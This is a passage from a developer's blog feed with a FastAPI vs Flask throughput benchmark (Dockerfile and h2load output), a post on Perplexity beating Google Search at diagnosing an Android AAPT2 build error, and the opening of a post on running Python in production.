                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Build: docker buildx build -t python-fastapi -f Dockerfile_python .</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Size: docker image inspect python-fastapi --format=&#39;{{.Size}}&#39; | numfmt --to=iec-i</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Run: docker run -it --rm --cpus=1 --memory=100m -p 8002:8002 python-fastapi</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.13-slim AS base</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> pip3 install --no-cache-dir fastapi gunicorn uvicorn
</span></span><span style="display:flex;"><span><span style="color:#719e07">SHELL</span> [<span style="color:#2aa198">&#34;/bin/bash&#34;</span>, <span style="color:#2aa198">&#34;-c&#34;</span>]
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">echo</span> -e <span style="color:#2aa198">&#34;\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">from fastapi import FastAPI\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">app = FastAPI()\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">@app.get(&#39;/&#39;)\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">async def root():\n\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    return {&#39;message&#39;: &#39;Hello World&#39;}\
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">&#34;</span> &gt; /app/web_server.py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> <span style="color:#719e07">[</span><span style="color:#2aa198">&#34;gunicorn&#34;</span>, <span style="color:#2aa198">&#34;web_server:app&#34;</span>, <span style="color:#2aa198">&#34;--bind=0.0.0.0:8002&#34;</span>, <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  <span style="color:#2aa198">&#34;-k uvicorn.workers.UvicornWorker&#34;</span>, <span style="color:#2aa198">&#34;--workers=4&#34;</span>, <span style="color:#2aa198">&#34;--threads=32&#34;</span><span style="color:#719e07">]</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>As you will notice the only difference is the framework used.
The rest of the code is exactly the same.</p>
<p>Comparing the result, we can see FastAPI is 3X faster in these basic requests.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ h2load --h1 -n1000 -c40 <span style="color:#2aa198">&#39;http://localhost:8001&#39;</span>  <span style="color:#586e75"># Flask</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>                      min         max         mean         sd        +/- sd
</span></span><span style="display:flex;"><span><span style="color:#b58900">time</span> <span style="color:#719e07">for</span> request:      406us     83.37ms     12.56ms     22.46ms    86.70%
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>req/s           :      75.98       83.04       79.36        2.08    60.00%
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ h2load --h1 -n1000 -c40 <span style="color:#2aa198">&#39;http://localhost:8002&#39;</span>  <span style="color:#586e75"># FastAPI results</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>                      min         max         mean         sd        +/- sd
</span></span><span style="display:flex;"><span> <span style="color:#b58900">time</span> <span style="color:#719e07">for</span> request:      825us     29.78ms      4.07ms      6.13ms    91.70%
</span></span><span style="display:flex;"><span><span style="color:#586e75"># req/s           :     231.07      256.41      241.98        8.86    52.50%</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>So, in terms of throughput, I am fairly convinced that no one should choose
Flask over FastAPI for new projects.</p>
<p>Even if query serving time is only 20% of the end to end latency, one gets about 15% performance improvement by choosing
FastAPI over Flask.</p>
<p>Even if you decide to use Flask, given its single threaded nature, use it behind <code>gunicorn</code>, the way I used above</p>
<p>It is definitely concerning though that   
    
    
<a href="https://github.com/fastapi/fastapi/releases?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FastAPI</a>,
as of 2025, is not stable release yet.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/></entry><entry><title type="html">Google Search is losing to Perplexity</title><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><link href="https://ashishb.net/book-summary/in-the-plex/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: In the Plex by Steven Levy"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><id>https://ashishb.net/tech/google-vs-perplexity/</id><author><name>Ashish Bhatia</name></author><published>2025-05-03T01:00:08+00:00</published><updated>2025-05-03T01:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Even for benign Android-related searches, Perplexity, anecdotally is doing better than Google</blockquote><p>Recently, after doing some Google mandated updates of   
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MusicSync</a>, my music player Android application,
I received the following error in Android Studio during the build process.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Plaintext
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>AAPT2 aapt2-8.8.0-12006047-osx Daemon #1: Daemon startup failed</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>I tried to search for the error on Google, and got   
    
    
<a href="https://www.google.com/search?q=AAPT2&#43;aapt2-8.8.0-12006047-osx&#43;Daemon&#43;%231%3A&#43;Daemon&#43;startup&#43;failed&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">zero results</a>.</p>
<figure>
    
    <a href="google-search-result.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="google-search-result.png"
         alt="A Google search result page includes a result for a query about an &#39;AAPT2 Daemon startup failed&#39; error, explaining potential causes related to software configuration." width="900"/> </a>
</figure>

<p>While Perplexity gave me   
    
    
<a href="https://www.perplexity.ai/search/aapt2-aapt2-8-8-0-12006047-osx-IhGc11rNSKKVaOMU4ZINhg#0?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">6 possible causes</a> of this.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Markdown
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>Possible Causes and Solutions
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">1.</span> Gradle Version Incompatibility:
</span></span><span style="display:flex;"><span>   Ensure that your Gradle version is compatible with your Android Studio version.
</span></span><span style="display:flex;"><span>   You may need to update or downgrade your Gradle version 2.
</span></span><span style="display:flex;"><span><span style="color:#719e07">2.</span> System User Permissions: If you&#39;re using a CI/CD
</span></span><span style="display:flex;"><span>   system like Jenkins, make sure the build is not running under the SYSTEM user.
</span></span><span style="display:flex;"><span>   Running the build as a specific admin user can resolve this issue.
</span></span><span style="display:flex;"><span><span style="color:#719e07">3.</span> Corrupted Gradle Cache: Try clearing the Gradle cache by deleting the ~/.gradle/caches
</span></span><span style="display:flex;"><span>   folder in your user home directory.
</span></span><span style="display:flex;"><span><span style="color:#719e07">4.</span> Insufficient System Resources:
</span></span><span style="display:flex;"><span>   Ensure your system has enough memory and processing power available for the build process.
</span></span><span style="display:flex;"><span><span style="color:#719e07">5.</span> Antivirus Interference:
</span></span><span style="display:flex;"><span>   Temporarily disable your antivirus software to check if it&#39;s interfering with
</span></span><span style="display:flex;"><span>   the build process.
</span></span><span style="display:flex;"><span><span style="color:#719e07">6.</span> Outdated Android SDK Tools: Update your Android SDK
</span></span><span style="display:flex;"><span>   tools to the latest version through the SDK Manager.</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The third suggestion of the Gradle cache being corrupted looked promising answer.
Especially because I was doing a Gradle version update.
So, doing a clean build after deleting the Gradle cache <code>~/.gradle/caches</code> resolved the issue.</p>
<p>I am definitely perplexed though.<br>
Android comes from Google.<br>
The error message came during Android build process.<br>
The error message came from tools provided by Google.<br>
It showed up in Android Studio, which is also from Google.<br>
Yet, Google Search couldn&rsquo;t find a single cause for the error message.</p>
<p>And this is not the only anecdotal evidence of Google Search failing to find relevant results.
Something seems to be happening at Google which is making it less reliable.</p>
<figure>
    
    <a href="google-search-result-failure.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="google-search-result-failure.png"/> </a>
</figure>

<p>Or, fairly frequently, I see nonsensical search results that are completely unrelated to the page contents.</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">The title of the page is &quot;firebase-crashlytics-gradle:3.0.1 uploadCrashlyticsMappingFileRelease FAILED&quot; and not 0. Rapid experimentation is really killing Google search.<br><br>Any alternative suggestions? <a href="https://t.co/cuVaUSX70f">pic.twitter.com/cuVaUSX70f</a></p>&mdash; Ashish Bhatia (@ashishbhatia) <a href="https://twitter.com/ashishbhatia/status/1794307753848275290?ref_src=twsrc%5Etfw">May 25, 2024</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>There is a deterioration in the quality of search results.
And these days, I frequently find myself using Perplexity as my primary search engine.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/google" term="google" label="google"/><category scheme="https://ashishb.net/tag/perplexity" term="perplexity" label="perplexity"/></entry><entry><title type="html">How to run Python in production</title><link href="https://ashishb.net/programming/python-in-production-2/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; Poetry inside Docker"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/flask-vs-fastapi/?utm_source=atom_feed" rel="related" type="text/html" title="FastAPI vs Flask performance comparison"/><id>https://ashishb.net/programming/python-in-production-2/</id><author><name>Ashish Bhatia</name></author><published>2025-04-19T05:00:08+00:00</published><updated>2025-04-19T05:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Harness the power of Python for production-grade data analysis and machine learning. Discover essential tools and best practices for seamless deployments.</blockquote><p>  
    
    
<a href="https://news.ycombinator.com/item?id=43734342&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on Hacker News" loading="lazy" src="https://hackerbadge.vercel.app/api?id=43734342"></a></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://www.reddit.com/r/Python/comments/1k3fase/notes_running_python_in_production/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Reddit" loading="lazy" src="/programming/python-in-production-2/reddit-badge.svg"></a></td>
          <td>  
    
    
<a href="https://pycoders.com/issues/679?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in Pycoder&rsquo;s Weekly" loading="lazy" src="/img/pycoders-weekly-badge.svg"></a></td>
          <td>  
    
    
<a href="https://python.libhunt.com/newsletter/465?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Awesome Python Weekly Newsletter" loading="lazy" src="/img/libhunt-badge.svg"></a></td>
          <td>  
    
    
<a href="https://japan.cnet.com/release/31089235/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in CNET Japan" loading="lazy" src="/img/cnet-japan-badge.svg"></a></td>
      </tr>
  </tbody>
</table>
<p>My 
<a href="/programming/python-in-production/">previous article</a> recommended that one should reconsider using Python in production.
However, there&rsquo;s one category of use case where Python is the dominant option for running production workloads.
And that&rsquo;s data analysis and machine learning.</p>
<p>Almost all bleeding-edge work in data analysis and machine learning, especially around LLMs, happens in Python.</p>
<p>So, here are some of my learnings on how to run Python in production.</p>
<h2 id="project-quality">Project quality</h2>
<h3 id="package-manager">Package manager</h3>
<p>Python has a fragmented ecosystem of package managers.
The only ones I can recommend are 
<a href="/programming/using-python-poetry-inside-docker/">poetry</a> and   
    
    
<a href="https://github.com/astral-sh/uv?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">uv</a>.
After learning about <code>uv</code> on   
    
    
<a href="https://news.ycombinator.com/item?id=43098494&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hacker News</a>, I decided to give it a   
    
    
<a href="https://github.com/ashishb/adb-enhanced/pull/257?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">try</a>.
<code>uv</code> is blazingly fast and manages the Python binary as well.
It even supports   
    
    
<a href="https://docs.astral.sh/uv/reference/cli/#uv-init--build-backend?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">migrations</a> from other package managers.
The only downside is that <code>uv</code> is still not on a   
    
    
<a href="https://github.com/astral-sh/uv/issues/10808?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">stable</a> release yet.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
